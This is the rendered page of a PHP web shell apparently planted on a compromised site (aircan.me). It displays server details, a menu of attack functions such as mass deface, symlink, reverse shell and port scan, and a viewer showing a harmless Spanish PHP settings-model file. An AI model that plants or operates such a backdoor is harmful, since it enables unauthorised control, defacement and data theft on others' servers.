Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
aircan3
/
app
/
models
/
Viewing: Ajuste.php
<?php /** * Modelo Ajuste - Gestión de configuraciones del sistema */ class Ajuste extends Model { /** * Obtener todos los ajustes */ public static function getAll() { $db = Database::getConnection(); $stmt = $db->query("SELECT * FROM ajustes ORDER BY clave ASC"); return $stmt->fetchAll(); } /** * Obtener un ajuste por su clave */ public static function getByClave($clave) { $db = Database::getConnection(); $stmt = $db->prepare("SELECT valor FROM ajustes WHERE clave = :clave"); $stmt->execute(['clave' => $clave]); $res = $stmt->fetch(); return $res ? $res['valor'] : null; } /** * Actualizar el valor de un ajuste */ public static function update($clave, $valor) { $db = Database::getConnection(); $stmt = $db->prepare("UPDATE ajustes SET valor = :valor WHERE clave = :clave"); return $stmt->execute([ 'clave' => $clave, 'valor' => $valor ]); } /** * Obtener todos los ajustes indexados por clave */ public static function getMap() { $ajustes = self::getAll(); $map = []; foreach ($ajustes as $a) { $map[$a['clave']] = $a['valor']; } return $map; } }
Coded With 💗 by
0x6ick